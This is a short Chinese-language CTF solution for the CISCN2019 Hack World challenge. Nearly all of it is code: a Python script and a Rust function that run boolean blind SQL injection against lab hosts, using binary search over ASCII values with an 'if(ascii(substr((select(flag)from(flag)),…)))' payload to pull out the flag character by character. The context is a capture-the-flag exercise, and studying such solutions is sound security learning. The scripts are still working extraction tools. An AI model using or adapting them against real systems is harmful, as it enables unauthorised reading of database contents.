布尔盲注

经典案例:CISCN2019 Hack World

from time import sleep

import requests
# 目标地址
url = "http://0396fe4b-c4d2-49da-addd-97b5169e2bad.node5.buuoj.cn:81/index.php"
# 声名flag
flag = ""
# 索引
i = 0
while True:
    # 索引从1开始
    i = i + 1
    # 二分查找
    left = 32 # 左边界
    right = 127 # 右边界
    while left < right: # 循环二分查找,当left==right时退出循环
        mid = (left + right) // 2 # 中间值
        # 生成sql注入payload,意味从flag表中读取flag字段的值,再截取索引位置的1个字符,
        # 再转换为ascii码,对码值进行二分查找,找到输出1,找不到输出2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload}
        # 发送注入请求
        res = requests.post(url, data=data)
        sleep(0.3)
        if "Hello" in res.text: # 根据响应文本做出判断,这里说明目标码值在区域右侧,移动左侧边界
            left = mid + 1
        else:
            right = mid # 反之在左侧
    if left !=32: # 如果找到的码值不为32,还没结束,因为ascii码32代表空格
        flag += chr(left) # 将找到的ascii码值转换为字符并拼接打印
        print(flag)
    else: # 如果找到的码值为32,说明substr函数截取的位置已经到末尾,退出程序
        break
print("end")
pub async fn bool_blind_inject() -> Result<(), String> {
    let target_url = "http://6464d630-7fd5-42fb-8774-19370b670f4d.node5.buuoj.cn:81/index.php";
    let mut flag = String::new();
    let mut index = 0u8;
    loop {
        index += 1;
        let mut left = 32u8;
        let mut right = 127u8;
        while left < right {
            let mid = (left + right) / 2;
            let payload = format!("id=if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)", index, mid);
            let req = reqwest::Client::new()
                .post(target_url)
                .header("Content-Type", "application/x-www-form-urlencoded")
                .body(payload);

            match req.send().await {
                Ok(resp) => {
                    let resp_text = resp.text().await.unwrap();
                    if resp_text.contains("Hello") {
                        left = mid + 1;
                    } else {
                        right = mid;
                    }
                }
                Err(e) => {
                    println!("{:#?},try again", e);
                    continue;
                }
            }
        }
        if left !=32{
            flag.push(left as char);
            println!("{}", flag);
        }else{
            break;
        }
    }
    Ok(())
}